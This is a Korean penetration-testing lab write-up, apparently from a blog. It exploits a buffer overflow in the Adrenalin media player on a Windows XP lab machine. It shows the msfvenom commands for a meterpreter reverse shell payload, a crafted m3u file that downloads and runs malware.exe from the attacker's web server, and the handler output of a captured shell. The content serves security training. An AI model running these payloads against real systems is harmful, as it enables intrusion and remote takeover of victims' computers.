실습> 소프트웨어 취약점을 이용한 reverse shell 연결하기
Victim : Win XP 192.168.108.105
Attacker : Kali 192.168.108.102
취약한 프로그램 : 아드레날린 BOF(SEH)
소프트웨어 취약점을 이용한 공격은 프로그램을 제작한 제작자의 실수로 프로그램 내에
들어있는 결함을 얘기하며 공격자는 이런 제로데이 취약점을 발견하면 그 결함 부분에
악성행위를 하는 코드를 삽입하여 실행되게 함으로써 사용자를 위험에 처하게 할 수 있다.
-- 순서 --
1. 동영상 프로그램 실행
2. wvx 메타파일 오픈
3. 계산기 쉘코드 실행
4. 웹서버 계산기 다운로드 & 실행
-- 순서 --
1. 동영상 프로그램 실행
- 설치된 동영상 프로그램인 아드레날린을 실행한다.
이 프로그램은 버퍼가 넘쳐서 문제를 일으키는 BOF(Buffer Over Flow) 취약점을 가지고 있다.
2. wvx 메타파일 오픈
- 아드레날린에서 실행시킨 후 wvx 파일을 오픈한다.
wvx 파일은 동영상이 재생될 미디어 파일인 asf,wma,wmv에 대한 정보를 기술한 메타파일이다.
3. 계산기 쉘코드 실행
- 이 메타파일에는 정상 파일이 아닌 계산기 쉘코드가 저장되어 있어 프로그램 실행 시
프로그램이 입력받을 수 있는 크기를 넘겨 BOF(Buffer Over Flow) 취약점을 발생시킨다.
따라서 BOF가 일어나는 부분에 계산기 쉘코드를 삽입하면 프로그램이 종료되면서 계산기가 실행된다.
4. 원격 웹서버 계산기 다운로드 후 실행
- 3번에서 BOF가 발생되면서 프로그램이 비정상적으로 종료가 되고 파일 내부에 있는 계산기 코드가
실행되었다면 이 부분에 다른 형태의 쉘코드를 삽입하면 실행된다는 의미이다.
따라서 4번에서 실습할 것은 쉘코드 부분에 원격 웹서버에 업로드한 계산기를 다운로드 받고 저장한
다음 계산기가 실행되는 것을 확인할 것이다.
-- 실습 순서 --
1. wvx 메타파일 수정
2. 계산기 업로드
3. c:\ 폴더 확인
4. 동영상 프로그램 실행
5. 웹서버 계산기 다운로드 & 실행
6. 계산기 다운로드 확인
-- 실습 순서 --
1. wvx 메타파일 수정
HxD.exe Hex Editor 프로그램으로 편집한다.
맨 마지막에 Attacker's IP주소와 다운로드 받을 실행파일명을 삽입한다.
2. 계산기 업로드
Victim : Win XP 192.168.108.105
c:\> copy c:\windows\system32\calc.exe C:\APM_Setup\htdocs
c:\> ipconfig
Windows IP Configuration
Ethernet adapter 로컬 영역 연결:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.108.105
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.8.2
Attacker# cd /var/www/html
Attacker:/var/www/html# wget 192.168.108.105/calc.exe
3. c:\ 폴더 확인
c:\ 폴더에 계산기 프로그램을 확인한다. 현재는 없다.
4. 동영상 프로그램 실행
아드레날린을 실행한다.
5. 웹서버 계산기 다운로드 & 실행
바탕화면에 있는 수정된 adrenalin2.m3u 를 실행하면 Attacker 의 웹서버에 올려둔
calc.exe를 다운받아서 c:\ 저장하고 이를 실행한다.
계산기가 실행되면 된다.
6. 계산기 다운로드 확인
c:\ 폴더를 확인하면 x.exe 로 계산기 프로그램이 저장된걸 볼 수 있다.
실습> 소프트웨어 취약점을 이용한 reverse shell 연결하기
공격 개요 :
Victim 이 adrenalin 을 실행해서 adrenalin3.m3u 파일을 여는 순간 Attacker 의
공격 포트로 reverse shell 로 연결해서 Victim이 Attacker에게 시스템을 탈취하게 된다.
구현방법 : 메타스플로잇을 이용해서 구현한다.
공격용 파일 : adrenalin3.m3u
1. Attacker 정보 확인
공격자의 IP주소 정보를 확인한다.
Attacker# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.108.102 netmask 255.255.255.0 broadcast 192.168.8.255
inet6 fe80::6cf4:de6f:6111:6b05 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:7b:54:33 txqueuelen 1000 (Ethernet)
RX packets 5585 bytes 1446031 (1.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6035 bytes 2739259 (2.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
device interrupt 19 base 0x2000
2. 악성 실행파일 생성
msfvenom 을 이용해서 공격코드를 생성한다.
lhost : Attacker's IP address
lport : Attacker's listen port
Attacker# msfvenom -p windows/meterpreter/reverse_tcp \
lhost=192.168.108.102 lport=4444 -f exe -o /var/www/html/malware.exe
3. 공격 대기
Attakcer# vi malware.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.108.102
exploit
Attakcer# msfconsole -r malware.rc
:
:(생략)
resource (malware.rc)> exploit
[*] Started reverse TCP handler on 192.168.108.102:4444
4. 웹서버 실행
웹서버를 실행해서 클라이언트가 악성파일을 받아갈 수 있도록 한다.
Attacker# /etc/init.d/apache2 start
5. wvx 메타파일 수정
HxD.exe Hex Editor 프로그램으로 편집한다.
맨 마지막에 Attacker's IP주소와 다운로드 받을 실행파일명을 삽입한다.
ex)
-- adrenalin3.m3u --
90 90 90 90 ...
:
: (생략)
http://192.168.108.102/malware.exe
-- adrenalin3.m3u --
6. 동영상 프로그램 실행
아드레날린을 실행한다.
7. 웹서버 계산기 다운로드 & 실행
바탕화면에 있는 수정된 adrenalin2.m3u 를 실행하면 Attacker 의 웹서버에 올려둔
malware.exe를 다운받아서 c:\x.exe 저장하고 이를 실행한다.
공격자에게 달라 붙는다.
msf exploit(handler) >
[*] Sending stage (179267 bytes) to 192.168.108.105
[*] Meterpreter session 2 opened (192.168.108.102:4444 -> 192.168.108.105:3101) at 2018-03-28 05:56:40 +0000
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/windows VICTIM_WINXP\ksw @ VICTIM_WINXP 192.168.108.102:4444 -> 192.168.108.105:3089 (192.168.108.105)
2 meterpreter x86/windows VICTIM_WINXP\ksw @ VICTIM_WINXP 192.168.108.102:4444 -> 192.168.108.105:3101 (192.168.108.105)
msf exploit(handler) > sessions 2
[*] Starting interaction with 2...
8. meterpreter 쉘 확인
Victim 의 PC를 장악하고 제어한다.
meterpreter > sysinfo
Computer : VICTIM_WINXP
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : ko_KR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > shell
Process 2184 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Program Files\adrenalin\Skin>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter ▒▒▒▒ ▒▒▒▒ ▒▒▒▒:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.108.105
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.8.2
'Linux > 모의해킹' 카테고리의 다른 글
| 쉘스크립트를 활용한 공격 1 & 2 (0) | 2022.01.04 |
|---|---|
| Download_exec Payload (0) | 2022.01.04 |
| Wireshark 공격하기 (0) | 2022.01.04 |
| Windows 에서 만든 코드를 리눅스에서 실행하기 (od 명령어) (0) | 2022.01.04 |
| PoC 란?? (0) | 2022.01.04 |